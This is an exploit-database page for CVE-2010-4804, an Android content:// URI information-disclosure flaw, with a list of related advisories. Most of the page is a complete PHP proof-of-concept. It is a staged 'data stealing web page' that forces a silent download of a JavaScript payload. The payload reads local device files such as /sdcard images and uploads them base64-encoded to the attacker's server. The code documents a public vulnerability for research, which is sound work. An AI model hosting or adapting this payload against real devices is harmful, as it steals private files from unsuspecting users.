Android 'content://' URI - Multiple Information Disclosure Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Android 'content://' URI - Multiple Information Disclosure Vulnerabilities - Android 2.3.

Reporter	Title	Published	Views	Family All 12
0day.today	Android 'content://' URI Multiple Information Disclosure	28 Nov 201100:00	–	zdt
Circl	CVE-2010-4804	29 May 201815:50	–	circl
CVE	CVE-2010-4804	9 Jun 201110:00	–	cve
Cvelist	CVE-2010-4804	9 Jun 201110:00	–	cvelist
Exploit DB	Google Android - 'content://' URI Multiple Information Disclosure Vulnerabilities	28 Nov 201100:00	–	exploitdb
exploitpack	Google Android - content: URI Multiple Information Disclosure Vulnerabilities	28 Nov 201100:00	–	exploitpack
Metasploit	Android Content Provider File Disclosure	19 Jan 201118:04	–	metasploit
NVD	CVE-2010-4804	9 Jun 201110:36	–	nvd
Packet Storm	Android content:// Information Disclosure	29 Nov 201100:00	–	packetstorm
Packet Storm	Android Content Provider File Disclosure	31 Aug 202400:00	–	packetstorm


                                                &#60;?php 
/* 
* Description:  Android &#39;content://&#39; URI Multiple Information Disclosure Vulnerabilities
* Bugtraq ID:   48256
* CVE:          CVE-2010-4804
* Affected:     Android &#60; 2.3.4
* Author:       Thomas Cannon
* Discovered:   18-Nov-2010
* Advisory:     http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
*
* Filename:     poc.php
* Instructions: Specify files you want to upload in filenames array. Host this php file
*               on a server and visit it using the Android Browser. Some builds of Android
*               may require adjustments to the script, for example when a German build was
*               tested it downloaded the payload as .htm instead of .html, even though .html
*               was specified. 
*
* Tested on:    HTC Desire (UK Version) with Android 2.2
*/

//  List of the files on the device that we want to upload to our server
$filenames = array(&#34;/proc/version&#34;,&#34;/sdcard/img.jpg&#34;);

//  Determine the full URL of this script
$protocol = $_SERVER[&#34;HTTPS&#34;] == &#34;on&#34; ? &#34;https&#34; : &#34;http&#34;;
$scripturl = $protocol.&#34;://&#34;.$_SERVER[&#34;HTTP_HOST&#34;].$_SERVER[&#34;SCRIPT_NAME&#34;];

//  Stage 0:  Display introduction text and a link to start the PoC.
function stage0($scripturl) {
  echo &#34;&#60;b&#62;Android &#60; 2.3.4&#60;/b&#62;&#60;br&#62;Data Stealing Web Page&#60;br&#62;&#60;br&#62;Click: &#60;a href=\&#34;$scripturl?stage=1\&#34;&#62;Malicious Link&#60;/a&#62;&#34;;
}

//  Stage 1:  Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect 
//            to the payload. We load the payload using a Content Provider so that the JavaScript is executed in the
//            context of the local device - this is the vulnerability.
function stage1($scripturl) {
  echo &#34;&#60;body onload=\&#34;setTimeout(&#39;window.location=\&#39;$scripturl?stage=2\&#39;&#39;,1000);setTimeout(&#39;window.location=\&#39;content://com.android.htmlfileprovider/sdcard/download/poc.html\&#39;&#39;,5000);\&#34;&#62;&#34;;
}

//  Stage 2:  Download of payload, the Android browser doesn&#39;t prompt for the download which is another vulnerability.
//            The payload uses AJAX calls to read file contents and encodes as Base64, then uploads to server (Stage 3).
function stage2($scripturl,$filenames) {
  header(&#34;Cache-Control: public&#34;);
  header(&#34;Content-Description: File Transfer&#34;);
  header(&#34;Content-Disposition: attachment; filename=poc.html&#34;);
  header(&#34;Content-Type: text/html&#34;);
  header(&#34;Content-Transfer-Encoding: binary&#34;);
?&#62;
&#60;html&#62;
  &#60;body&#62;
    &#60;script language=&#39;javascript&#39;&#62;
      var filenames = Array(&#39;&#60;?php echo implode(&#34;&#39;,&#39;&#34;,$filenames); ?&#62;&#39;);
      var filecontents = new Array();
      function processBinary(xmlhttp) {
        data = xmlhttp.responseText;    r = &#39;&#39;;   size = data.length;
        for(var i = 0; i &#60; size; i++)   r += String.fromCharCode(data.charCodeAt(i) & 0xff);
        return r;
      }
      function getFiles(filenames) {
        for (var filename in filenames) {
          filename = filenames[filename];
          xhr = new XMLHttpRequest();
          xhr.open(&#39;GET&#39;, filename, false);
          xhr.overrideMimeType(&#39;text/plain; charset=x-user-defined&#39;);
          xhr.onreadystatechange = function() { if (xhr.readyState == 4) { filecontents[filename] = btoa(processBinary(xhr)); } }
          xhr.send();
        }
      }
      function addField(form, name, value) {
        var fe = document.createElement(&#39;input&#39;);
        fe.setAttribute(&#39;type&#39;, &#39;hidden&#39;);
        fe.setAttribute(&#39;name&#39;, name);
        fe.setAttribute(&#39;value&#39;, value);
        form.appendChild(fe);
      }
      function uploadFiles(filecontents) {
        var form = document.createElement(&#39;form&#39;);
        form.setAttribute(&#39;method&#39;, &#39;POST&#39;);
        form.setAttribute(&#39;enctype&#39;, &#39;multipart/form-data&#39;);
        form.setAttribute(&#39;action&#39;, &#39;&#60;?=$scripturl?&#62;?stage=3&#39;);
        var i = 0;
        for (var filename in filecontents) {
          addField(form, &#39;filename&#39;+i, btoa(filename));
          addField(form, &#39;data&#39;+i, filecontents[filename]);
          i += 1;
        }
        document.body.appendChild(form);
        form.submit();
      }
      getFiles(filenames);
      uploadFiles(filecontents);
    &#60;/script&#62;
  &#60;/body&#62;
&#60;/html&#62;
&#60;?php
}

//  Stage 3:  Read the file names and contents sent by the payload and write to a file on the server.
function stage3() {
  $fp = fopen(&#34;files.txt&#34;, &#34;w&#34;) or die(&#34;Couldn&#39;t open file for writing!&#34;);
  fwrite($fp, print_r($_POST, TRUE)) or die(&#34;Couldn&#39;t write data to file!&#34;); 
  fclose($fp); 
  echo &#34;Data uploaded to &#60;a href=\&#34;files.txt\&#34;&#62;files.txt&#60;/a&#62;!&#34;;
}

//  Select the stage to run depending on the parameter passed in the URL
switch($_GET[&#34;stage&#34;]) { 
  case &#34;1&#34;: 
    stage1($scripturl); 
    break; 
  case &#34;2&#34;: 
    stage2($scripturl,$filenames); 
    break; 
  case &#34;3&#34;: 
    stage3(); 
    break;
  default: 
    stage0($scripturl); 
    break; 
} 
?&#62;

01 Jul 2014 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.62169